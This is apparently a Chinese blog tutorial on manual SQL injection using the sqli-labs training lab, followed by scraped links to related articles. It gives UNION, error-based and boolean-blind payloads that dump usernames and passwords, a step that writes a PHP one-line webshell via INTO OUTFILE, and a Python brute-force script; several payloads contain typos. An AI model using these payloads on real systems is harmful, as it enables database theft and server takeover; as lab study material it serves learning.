sql注入判断流程(结合sqli-labs学习)
sql注入判断流程(结合sqli-labs学习)
类型一
- 类型判断
?id=1 and 1=2 --+
如果返回结果正常,说明不是数字类型
and 为两方都为真才算争取
?id=1' --+ 显示不正常
?id=1') --+ 若显示正常,则该类型为字符注入,且以('')的方式闭合字符串,还有("")
--+ 是注释,因为浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。
- 利用order by查看有多少列
?id=1 order by 1 --+
?id=1 order by 2 --+
... 一直到出现 Unknown column '行数' in 'order clause' 为止
小技巧:可以选择一个较大的数字来分组
- 查询数据库名
?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+
id=-1' 是为了后面的内容能够正确显示,若前面能直接查询,后面可能查询不完整
通过查询到的数据库名查看表名
?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='数据库名') --+利用表名爆破列名
?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+整合信息
?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+
类型二 报错盲注
- 按照类型一无法判断是否有存在注入
- 不管如何注入都显示报错信息可尝试使用三种方式进行注入
- floor函数(取整)
?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+
若返回 Subjectquery returns more than 1 row 可能是因为限制了返回的字符长度
0x7e 是符号‘~’的十六进制限制64位
- extractvalue函数
?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+
select database() 可替换为其他查询语句
extractvalue(XML_document, XPath_string);返回长度为32个字符长度
- updatexml函数
?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+
select database() 可替换为其他查询语句
updatexml(XML_document, XPath_string,new_value);返回长度为32个字符长度
类型三 导出文件到本地,一句话木马
了解
file权限:数据库用户是否有权限向操作系统写入和读取已存在的权限
into outfile:服务器上一个可以写入文件的文件夹的完整路径将结果保存在本地文件
?id=1')) union select 1,2,3 into outfile '有读取权限的路径\文件名.文件类型'; --+
注意使用''进行转义,即路径写为‘\’
不会覆盖已存在的文件名
尝试一句话木马
?id=1')) union selet 1,2,'' into outfile '有读取权限的路径\文件名.php'; --+可尝试使用中国菜刀等软件
注意MySQL 5.7版本之后into outfile默认是禁用的,需要重新走一下初始化
在ini或者cnf初始化文件中加入初始化设定 secure_file_priv=''
类型四 布尔盲注
- 常用函数
1.1 mid(string,start,length)函数
string(必需)规定要返回其中一部分的字符串
start(必需)规定开始位置(起始值为1)
length(可选)要返回的字符数。如果省略,则mid()函数返回剩余文本
1.2 substr(string,start,length) 函数
string(必需)规定要返回其中一部分的字符串
start(必需)规定在字符串的何处开始
length(可选)规定被返回字符串的长度
1.3 left(string, length)函数
string(必需)规定要返回其中一部分的字符串
length(可选)规定被返回字符串的前length长度的字符
- 判断数据库名字长度
?id=1' and length(database())=8 --+ - 数据库字符串判断
?id=1' and left(database(),1)='字符串' --+
数据库第一个字符串是否等于'字符串'
数据库第二个字符串即,left(database(),1)='字符串',一般使用python脚本进行判断
import requests
import os
#此函数先判断数据库长度
def length(url,str):
num = 1
while True:
str_num = '%d' %num
len_url = url + "' and (select length(database()) = " + str_num +")--+"
response = requests.get(len_url)
if str in response.text:
print("数据库长度为:%s" %str_num)
content(url,str,num)
break
else:
num = num + 1
#此函数判断字符串具体的内容
def content(url,str,num):
s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
con_num = 1
while con_num <= num:
str_num = '%d' %con_num
for i in s:
con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"
response = requests.get(con_url)
if str in response.text:
fwrite(i)
con_num = con_num + 1
#此函数对字符串的内容做记录并输出
def fwrite(i):
# fp = open("cache.txt",'a')
# fp.write(i)
# fp.close()
print(i)
if __name__ == '__main__':
url = "http://localhost/sqli-labs/Less-5/?id=1"
response = requests.get(url)
str = "You are in..........."
if str in response.text:
length(url,str)
else:
print("请输入正确的地址")
类型五 时间盲注
时间盲注原理
通过IF来判断我们输入是否正确,如果正确立刻返回,如果错误则延迟数秒返回。
网站关闭了错误回显或过滤了关键字,网页只会返回状态。测试
常见错误排除
Please input the ID as parameter with numeric value
错误排除:可能书写为?id = 1 ,不要有多余的空格,应该写为?id=1
sql注入判断流程(结合sqli-labs学习)的更多相关文章
- zabbix(sql注入判断脚本)
zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): ...
- ASP.NET会员注册登录模块(MD5加密,Parameters防止SQL注入,判断是否注册)
MD5加密,Parameters防止SQL注入: protected void btnLog_Click(object sender, EventArgs e) { //获取验 ...
- 干货 | 精选《SQL注入、渗透、反病毒》学习总结集锦给你们~
学到手的都是本事,如果觉得对你有帮助也欢迎分享给身边的基友们吧! 分享干货,手留余香哦~ 本次“开学季拜师活动”的徒弟们在师父的精心指导下,在短短5天内得到了迅速地成长,以前或当时遇到的问题都能够柳暗 ...
- 2019-11-7:sql注入防御,webshell概念,学习笔记
sql注入防护GPC,magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post.get.cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特 ...
- SQL注入判断方法总结(持续更新)
http://e.com/1.php?id=1 http://e.com/1.php?id=1-- sd http://e.com/1.php?id=aaa http://e.com/1.php?id ...
- 手工sql注入判断是否存在注入点
1.加入单引号 ’提交,结果:如果出现错误提示,则该网站可能就存在注入漏洞.2.数字型判断是否有注入;语句:and 1=1 ;and 1=2 (经典).' and '1'=1(字符型)结果:分别返回不 ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- 风炫安全Web安全学习第十节课 数字型的Sql注入
数字型的Sql注入 风炫安全Web安全学习第十一节课 字符型和搜索型的sql注入 风炫安全Web安全学习第十二节课 mysql报错函数注入 风炫安全Web安全学习第十三节课 CUD类型的sql注入 风 ...
- 网络安全之sql注入
1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQ ...
随机推荐
- wepy的第一个demo
一.在node中安装相应的模块文件,查看文档 二.案例 json部分 { "usingComponents": { "van-button": ".. ...
- Vue Cli3 TypeScript 搭建工程
Vue Cli3出来也一段时间了,我想尝试下Vue结合TypeScript搭建个工程,感受下Vue下用TS...网上有一篇讲的非常详细的教程 vue-cli3.0 搭建项目模版教程(ts+vuex+ ...
- 基于 VirtualApp 结合 whale hook框架实现hook第三方应用
要点 1. whale hook framework 使用示例: 2. 参考项目:VirtualHook: 3. 按照 VirtualHook 修改 VirtualApp: 4. 编写 hook pl ...
- 1、控制器运行一个Process进程,等待不等待的问题
一.区别 public static async void Execute(string para, string ffmpegPath, string timestr, string Id, str ...
- 线程池-连接池-JDBC实例-JDBC连接池技术
线程池和连接池 线程池的原理: 来看一下线程池究竟是怎么一回事?其实线程池的原理很简单,类似于操作系统中的缓冲区的概念,它的流程如下:先启动若干数量的线程,并让这些线程都处于睡眠状态,当客 ...
- neuoj1472 yuki的氪金之旅(倒置树状数组
这题一直re不造为啥..后来yww大神把树状数组“倒过来”就过了,倒过来的好处是算sum(d[i]+1)就行,不涉及除法,不用求逆元. 题意:初始手牌颜值是0,一共抽卡n次,第i次抽卡有pi的概率能抽 ...
- Ubuntu apt-get install E: 无法定位软件包Ubuntu apt-get install E: 无法定位软件包
sudo cp /etc/apt/sources.list /etc/apt/sources.list-bak #先将之前的source-list备份 sudo vi /etc/apt/sources ...
- selenium 自动化的坑(3)
一天一坑系列(3) 今天不讲我是怎么定位了吧,今天讲的是关于弹窗的. 基于业务,一键全否之后需要二次确认,会弹出提示框,你会不会认为这是alert弹框?经过仔细查看元素,确认不是弹框,明明是div嘛, ...
- Python3及Pycharm安装
1.首先去python官网下载相应版本的Python安装包.如下: 2.下载完成后解压,双击exe文件进行安装,看到如下界面:Install Now表示默认安装:Customize installat ...
- re模块的高级使用
主要有四个方法: search : 从字符串的任意位置开始检索,首次匹配即结束 findall : 全部匹配 sub : 将正则匹配结果进行替换 split : 根据正则匹配结果将字符串进行切分,然后 ...